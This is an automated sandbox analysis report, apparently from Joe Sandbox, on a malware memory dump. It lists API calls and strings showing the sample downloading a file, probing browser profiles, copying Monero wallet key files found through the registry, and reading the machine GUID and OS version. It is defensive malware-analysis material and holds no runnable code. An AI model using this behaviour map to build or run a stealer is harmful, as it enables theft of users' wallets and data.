Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 2622774ff033b8d6197b84d2c8ed8e0254789b43bb7c8e328d0127d0790bac85
Instruction ID: 38e87463d8a567d304acc58f085aeda0b6ea51c0627365b5ff586089dea0ca20
Opcode Fuzzy Hash: 2622774ff033b8d6197b84d2c8ed8e0254789b43bb7c8e328d0127d0790bac85
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA8

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B
firefox, xrefs: 0040EE17

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction ID: 2364c372bad150323d67af03c4d359b51cc93a95bd900eacfe79e48eddbf336c
Opcode Fuzzy Hash: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction Fuzzy Hash: 13515EB1E5011D9BCF11EB25DD466DD7379AF04308F1050BAB60873191DA78AFC98F48

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

\{A, xrefs: 00415FC2

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: \{A
API String ID: 1546541418-1475862525
Opcode ID: fd90d1f86306442e305425050af88687509090e34ac0bef08d4a2f84645a5be9
Instruction ID: 1319a00e3beaa56ad984c577cc8328c236cda2b61ebb5edaa0c38c4a30c6fdde
Opcode Fuzzy Hash: fd90d1f86306442e305425050af88687509090e34ac0bef08d4a2f84645a5be9
Instruction Fuzzy Hash: 1E51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAFA09E3250EA35AB898F58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction ID: 446351bc283c4762e53d247ac54b49bb6219315ee7fac77137ec1a6eb046dabb
Opcode Fuzzy Hash: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction Fuzzy Hash: 4A5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

.{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: .{A
API String ID: 3891774339-8545219
Opcode ID: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction ID: b4758eb7aeb23ac53986d5a941949a19eceae9c1109b67c9f6111efe06dcff68
Opcode Fuzzy Hash: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction Fuzzy Hash: 0C41C07194011D9FDF24EF60EC86EE9777ABB18309F4004AAB509A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction ID: c9c539ce5467448423737f6d9a950d2a9d5193a79ae08df00dacda0898e1b174
Opcode Fuzzy Hash: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction Fuzzy Hash: 7B111EB590021DAFDB10DF90DC89FEAB7BDEB04309F5041E6A659E2052E6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction ID: 3e4ac90b5bcc3d6fe188be62ffa2ac0dd84bb3fe34a2510e6e6e226720dcc0e4
Opcode Fuzzy Hash: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction Fuzzy Hash: 15F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E7B66A50D664

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
